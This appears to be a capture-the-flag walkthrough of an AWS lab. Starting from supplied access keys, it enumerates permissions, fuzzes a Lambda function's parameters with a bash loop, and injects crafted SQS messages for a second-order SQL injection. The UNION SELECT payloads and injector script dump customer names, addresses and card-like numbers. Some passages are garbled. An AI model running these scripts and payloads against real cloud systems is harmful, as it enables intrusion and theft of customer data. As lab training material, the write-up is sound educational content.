background:
In serverless architectures, it is common to use AWS Lambda with SQS to process messages, which can create dangerous situations if these user-supplied data are used in database queries. This emphasizes the importance of secure coding practices, especially when the input source is untrusted or publicly accessible. Brute forcing property values in Lambda functions is also a real-life threat.
After setting the config according to the topic information, installaws-enumeratorand enumerate the permissions of our current user
go install -v github.com/shabarkin/aws-enumerator@latest> ~/go/bin/aws-enumerator cred -aws_access_key_id AKIATWVWNKAVFMBHTHOR -aws_region eu-north-1 -aws_secret_access_key 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
Message: File .env with AWS credentials were created in current folderEnumerate existing servicesaws-enumerator enum -services all
Message: Successful APPMESH: 0 / 1
Message: Successful ACM: 0 / 1
Message: Successful APIGATEWAY: 0 / 8
Message: Successful APPSYNC: 0 / 1
Message: Successful AMPLIFY: 0 / 1
Message: Successful ATHENA: 0 / 3
Message: Successful BATCH: 0 / 4
Message: Successful AUTOSCALING: 0 / 15
Message: Successful BACKUP: 0 / 7
Message: Successful CHIME: 0 / 1
Message: Successful CLOUD9: 0 / 2
Message: Successful CLOUDFRONT: 0 / 5
Message: Successful CLOUDDIRECTORY: 0 / 4
Message: Successful CLOUDFORMATION: 0 / 8
Message: Successful CLOUDTRAIL: 0 / 1
Message: Successful CODEBUILD: 0 / 4
Message: Successful CODECOMMIT: 0 / 2
Message: Successful CLOUDHSMV2: 0 / 2
Message: Successful CLOUDHSM: 0 / 6
Message: Successful CODEPIPELINE: 0 / 3
Message: Successful CLOUDSEARCH: 0 / 2
Message: Successful CODEDEPLOY: 0 / 8
Message: Successful DATAPIPELINE: 0 / 1
Message: Successful COMPREHEND: 0 / 8
Message: Successful DLM: 0 / 1
Message: Successful DATASYNC: 0 / 4
Message: Successful DIRECTCONNECT: 0 / 9
Message: Successful DAX: 0 / 4
Message: Successful DEVICEFARM: 0 / 10
Message: Successful DYNAMODB: 1 / 5
Message: Successful EKS: 0 / 1
Message: Successful CODESTAR: 0 / 2
Message: Successful EC2: 0 / 74
Message: Successful ECS: 0 / 8
Message: Successful ECR: 0 / 2
Message: Successful ELASTICBEANSTALK: 0 / 8
Message: Successful FIREHOSE: 0 / 1
Message: Successful ELASTICACHE: 0 / 10
Message: Successful FMS: 0 / 4
Message: Successful GLUE: 0 / 17
Message: Successful FSX: 0 / 2
Message: Successful ELASTICTRANSCODER: 0 / 2
Message: Successful GLOBALACCELERATOR: 0 / 2
Message: Successful GUARDDUTY: 0 / 3
Message: Successful IOT: 0 / 30
Message: Successful INSPECTOR: 0 / 7
Message: Successful IAM: 0 / 20
Message: Successful GREENGRASS: 0 / 10
Message: Successful GAMELIFT: 0 / 15
Message: Successful HEALTH: 0 / 2
Message: Successful KAFKA: 0 / 1
Message: Successful KINESIS: 0 / 4
Message: Successful KINESISANALYTICS: 0 / 1
Message: Successful KMS: 0 / 3
Message: Successful LIGHTSAIL: 0 / 19
Message: Successful LAMBDA: 1 / 4
Message: Successful IOTANALYTICS: 0 / 5
Message: Successful MEDIASTORE: 0 / 2
Message: Successful MEDIAPACKAGE: 0 / 2
Message: Successful MEDIACONVERT: 0 / 5
Message: Successful MEDIACONNECT: 0 / 2
Message: Successful MACHINELEARNING: 0 / 4
Message: Successful MACIE: 0 / 2
Message: Successful MQ: 0 / 2
Message: Successful MEDIATAILOR: 0 / 1
Message: Successful ORGANIZATIONS: 0 / 7
Message: Successful KINESISVIDEO: 0 / 3
Message: Successful RAM: 0 / 1
Message: Successful POLLY: 0 / 3
Message: Successful RDS: 0 / 21
Message: Successful MEDIALIVE: 0 / 5
Message: Successful OPSWORKS: 0 / 15
Message: Successful PRICING: 0 / 1
Message: Successful MOBILE: 0 / 2
Message: Successful ROUTE53: 0 / 10
Message: Successful REDSHIFT: 0 / 20
Message: Successful PINPOINT: 0 / 1
Message: Successful ROUTE53DOMAINS: 0 / 3
Message: Successful ROUTE53RESOLVER: 0 / 3
Message: Successful SECURITYHUB: 0 / 8
Message: Successful SECRETSMANAGER: 0 / 2
Message: Successful S3: 0 / 1
Message: Successful REKOGNITION: 0 / 2
Message: Successful SAGEMAKER: 0 / 15
Message: Successful ROBOMAKER: 0 / 6
Message: Successful SIGNER: 0 / 3
Message: Successful SNOWBALL: 0 / 5
Message: Successful SERVICECATALOG: 0 / 7
Message: Successful SHIELD: 0 / 7
Message: Successful STORAGEGATEWAY: 0 / 5
Message: Successful STS: 2 / 2
Message: Successful SNS: 0 / 5
Message: Successful SQS: 1 / 1
Message: Successful SSM: 0 / 16
Message: Successful TRANSFER: 0 / 1
Message: Successful TRANSCRIBE: 0 / 2
Message: Successful TRANSLATE: 0 / 1
Message: Successful WAF: 0 / 15
Message: Successful SUPPORT: 0 / 3
Message: Successful XRAY: 0 / 5
Message: Successful WORKMAIL: 0 / 1
Message: Successful WORKDOCS: 0 / 3
Message: Successful WORKLINK: 0 / 1
Message: Successful WORKSPACES: 0 / 8You can see that both lambda and sqs have permissions. Dump them directly.aws-enumerator dump -services lambda,sqs
---------------------------------------------- LAMBDA ----------------------------------------------
ListFunctions
....
------------------------------------------------ SQS ------------------------------------------------
ListQueues
....Check out the lambda function.
> aws lambda list-functions
{
"Functions": [
{
"FunctionName": "huge-logistics-stock",
"FunctionArn": "arn:aws:lambda:eu-north-1:254859366442:function:huge-logistics-stock",
"Runtime": "python3.11",
"Role": "arn:aws:iam::254859366442:role/service-role/huge-lambda-analytics-role-ewljs6ls",
"Handler": "lambda_function.lambda_handler",
"CodeSize": 104874,
"Description": "",
"Timeout": 3,
"MemorySize": 128,
"LastModified": "2023-09-20T11:26:12.000+0000",
"CodeSha256": "FkcaVsjbU9YqnNKIPWBqAu76S9bST/bfljnSuDoU4Y0=",
"Version": "$LATEST",
"VpcConfig": {
"SubnetIds": [],
"SecurityGroupIds": [],
"VpcId": "",
"Ipv6AllowedForDualStack": false
},
"TracingConfig": {
"Mode": "PassThrough"
},
"RevisionId": "dcbd95eb-b673-40dc-9bc0-2ce35d1edd0c",
"PackageType": "Zip",
"Architectures": [
"x86_64"
],
"EphemeralStorage": {
"Size": 512
},
"SnapStart": {
"ApplyOn": "None",
"OptimizationStatus": "Off"
},
"LoggingConfig": {
"LogFormat": "Text",
"LogGroup": "/aws/lambda/huge-logistics-stock"
}
}
]
}
There is a huge-logistics-stock method but there is no permission to access it.
> aws lambda get-function --function-name huge-logistics-stock
An error occurred (AccessDeniedException) when calling the GetFunction operation: User: arn:aws:iam::254859366442:user/analytics-usr is not authorized to perform: lambda:GetFunction on resource: arn:aws:lambda:eu-north-1:254859366442:function:huge-logistics-stock because no identity-based policy allows the lambda:GetFunction actionAlthough we don't have access to the source code, we have execution permissions

Prompt us that the parameters are incomplete. Try the fuzz parameters.
First download the Burp Suite parameter name wordlist.
wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/burp-parameter-names.txt
We can put together a quick bash script that tries different parameter names and reports any that work.
#!/bin/bash
i=0
for word in $(cat burp-parameter-names.txt); do
cmd=$(aws lambda invoke --function-name huge-logistics-stock --payload "{\"$word\":\"test\"}" output);
((i=i+1))
echo "Try $i: $word"
if grep -q "Invalid event parameter" output;
then
rm output;
else
cat output; echo -e "\nFound parameter: $word" && break;
fi;
done
After running the script for a minute, we got a result! This time the Lambda returns a different error, confirming that the parameters are correct.

See that ID is required to see if there is the desired information in sqs.
aws sqs list-queues
{
"QueueUrls": [
"https://sqs.eu-north-1.amazonaws.com/254859366442/huge-analytics"
]
}
aws sqs receive-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attribute-names All
{
"Messages": [
{
"MessageId": "d79a5f16-ac47-4f54-8af0-c807f5171145",
"ReceiptHandle": "AQEBx/eeQPjmQE+74BkfGh6V1l+mPgGBZXiuKptCnur9/NsWNVoQiJL33ivUtY8BVGVQwycJPQWoApRIuuOrEoQl1BSU0xn7hTnGskD4CX/OkYnpOD1M01pd11FY4P5BOpIlAJOxdBHJkwqNz8VXDIX696jqyQCRMnCMRbldqFeFoWkaUhNLCka8IYD1WcLTaeIIkPDS+rpNet9QDRV/eZXXtlWNE0v+XM97kaxZ9vZl6BflJrFiPU602rFzHIFO+QpalCmVAfCdB6atfjnXr6bTNxttPdiCLkS7I2RGJS+OMtsIzTrizxo4tY20wf768ibj9E4Ii6Zy7OJDuRzBupD0uPmgXdFRc0o3bUFjDjCd39ahRaOFxHP3fL7Bn+RwSsII+JdUZtgwQdckdOYiDb3Wxw==",
"MD5OfBody": "bdc64d4fca5ea6fc92b8a5685f88f412",
"Body": "Google inc. shipped package of 7kg",
"MD5OfMessageAttributes": "d4cb015bff6ce7f803bff42cb85b1585",
"MessageAttributes": {
"Client": {
"StringValue": "Google inc.",
"DataType": "String"
},
"Weight": {
"StringValue": "7",
"DataType": "Number"
},
"trackingID": {
"StringValue": "HLT8255",
"DataType": "String"
}
}
}
]
}
trackingID is associated with DESC and HLT8255
Execute several times

We'll see different clients includingVELUS CORP.Google inc.Adidas
Given the structure of the property, we can create our own message below that contains this property and try to send it to the queue. In the message below, we specify our own trackingID value.--message-body
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"VELUS CORP.", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"

Next we can invoke and execute the payload.aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output
Commands under aws v2 version
aws lambda invoke --cli-binary-format raw-in-base64-out --function-name huge-logistics-stock --payload '{"DESC":"HLT1337"}' output.txt
Using a client that does not exist will output an empty array.
Try SQL injectionVELUS CORP.\”
After executing this command, the message will be sent to the specified SQS queuehuge-analytics, and the message will contain the specified attributes and body content.
> aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes '{ "Weight": { "StringValue": "1337", "DataType":"Number"}, "Client": {"StringValue":"VELUS CORP.\"", "DataType": "String"}, "trackingID": {"StringValue":"HLT1337", "DataType":"String"}}' --message-body "Testing"
{
"MD5OfMessageBody": "fa6a5a3224d7da66d9e0bdec25f62cf0",
"MD5OfMessageAttributes": "2d8dd3ce680ba83c474e28be62bd5e2f",
"MessageId": "77536957-9073-4102-ab25-5d6b1d7dfcbd"
}
> aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output && cat output
{
"StatusCode": 200,
"ExecutedVersion": "$LATEST"
}
"DB error"Indicates a SQL injection vulnerability because adding double quotes causes an error in the SQL statement querying the company name."DB error"
A brief summary of the process:
System mechanism:
User/system components: Send data (payload) via SQS messages.
SQS queue: The message is temporarily stored in the SQS queue, waiting to be processed.
Lambda function: Read messages from the SQS queue for processing on a scheduled basis or triggered by an event.
Database interaction: During processing, the data in the SQS message is used to interact with the database, possibly as part of a SQL query.
Attack ideas:
Second-order SQL injection: An attacker can send a maliciously crafted SQS payload designed to create second-order SQL injection. The results of this injection are not immediately apparent because the attacker's input is first stored in the system (such as a queue or database) and later only used in the vulnerable SQL query.
The following script sends a specially crafted message containing user input to an SQS queue and then calls a Lambda function to process the message. If the Lambda response contains the text "Invalid" the process will repeat, otherwise the script will display the output.
#!/bin/bash
output=default
while [ -n "$output" ]; do
output=""
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes "{ \"Weight\": { \"StringValue\": \"1337\", \"DataType\":\"Number\"}, \"Client\": {\"StringValue\":\"VELUS CORP.\\\" $1\", \"DataType\": \"String\"}, \"trackingID\": {\"StringValue\":\"HLT1337\", \"DataType\":\"String\"}}" --message-body "Testing" | tee &> /dev/null
aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output &> /dev/null
output=$(cat output | grep "Invalid")
if [[ $output == "" ]]; then
cat output
echo ""
fi
doneFirst, we need to determine the number of columns in the table. We tried a statement but it resulted in a database error. Next, we can try usingUNION SELECTstatement. in useUNION SELECTstatement, it is critical to determine the number of columns in the original query becauseUNIONoperator is used to combine twoSELECTThe results of statements whose result sets must have the same number of columns.
bash lambda_sqli.sh "SELECT null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, null, @@version;-- -"
bash lambda_sqli.sh "UNION SELECT null, null, null, @@version;-- -"
SQL load successful! Let's unpack these findings:
"UNION SELECT null, null, null, @@version;-- -"
Discover:
There are four columns in the table。
@@versionIs specific to MySQL and MariaDB and is used to retrieve the version of the database server.
Server version is 8.0.33(Amazon Relational Database Service (Amazon RDS) for MySQL now supports MySQL minor versions 5.7.42 and 8.0.33 as of June 16, 2023).
The last column is injectable, and the output is displayed in the properties (actually all four columns are injectable and output to the corresponding properties).
We select the fourth column to inject our payload into and modify the script to filter this property to display clean SQL output.
#!/bin/bash
output=default
while [ -n "$output" ]; do
output=""
aws sqs send-message --queue-url https://eu-north-1.queue.amazonaws.com/254859366442/huge-analytics --message-attributes "{ \"Weight\": { \"StringValue\": \"1337\", \"DataType\":\"Number\"}, \"Client\": {\"StringValue\":\"VELUS CORP.\\\" $1\", \"DataType\": \"String\"}, \"trackingID\": {\"StringValue\":\"HLT1337\", \"DataType\":\"String\"}}" --message-body "Testing" | tee &> /dev/null
aws lambda invoke --function-name huge-logistics-stock --payload "{\"DESC\":\"HLT1337\"}" output &> /dev/null
output=$(cat output | grep "Invalid")
if [[ $output == "" ]]; then
cat output | sed 's/delivered/\n/g' | awk -F"\"" '{ print $3 }' | grep -v "^:" | grep -v '^0' | sed '/^$/d'
fi
doneGet table name
bash lambda_sqli.sh "UNION SELECT null, null, null, table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema NOT IN ('information_schema', 'mysql')-- -"
global_status
global_variables
persisted_variables
processlist
session_account_connect_attrs
session_status
session_variables
variables_info
TrackingData
customerDataa TrackingData a customerData
bash lambda_sqli.sh "UNION SELECT null, null, null, column_name FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name = 'customerData'-- -"
address
cardUsed
clientNameView data flag is the field of VELUS CORP addresscardUsed
bash lambda_sqli.sh "UNION SELECT null, null, null, CONCAT(clientName,':',address,':',cardUsed) FROM customerData-- -"
Adidas:56 Claremont Court:5133110655169130
EY:3 Farmco Parkway:4913444258211042
Google Inc.:559 Ohio Lane:3532085972424818
VELUS CORP.:e46fbfe64cf7e50be097005f2de8b227:3558615975963377
Comments (0)
Login to post a comment.